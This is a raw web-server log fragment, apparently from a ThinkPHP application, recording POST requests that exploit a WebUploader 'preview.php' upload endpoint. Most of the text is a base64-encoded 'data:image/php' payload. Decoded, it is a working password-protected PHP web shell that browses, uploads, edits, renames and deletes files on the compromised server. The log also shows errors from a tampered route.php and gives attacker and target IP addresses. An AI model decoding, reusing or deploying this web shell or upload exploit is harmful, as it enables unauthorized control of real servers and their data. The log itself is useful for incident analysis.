AuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 'webuploader' => '0.1.5', 'server' => 'server', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-23T09:07:09+08:00 ] 119.42.146.234 POST 59.110.137.245/jquery/UI/H-ui.admin/lib/webuploader/0.1.5/server/server/preview.php [运行时间:0.002862s] [吞吐率:349.41req/s] [内存消耗:196.88kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'jquery', 2 => 'UI', ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0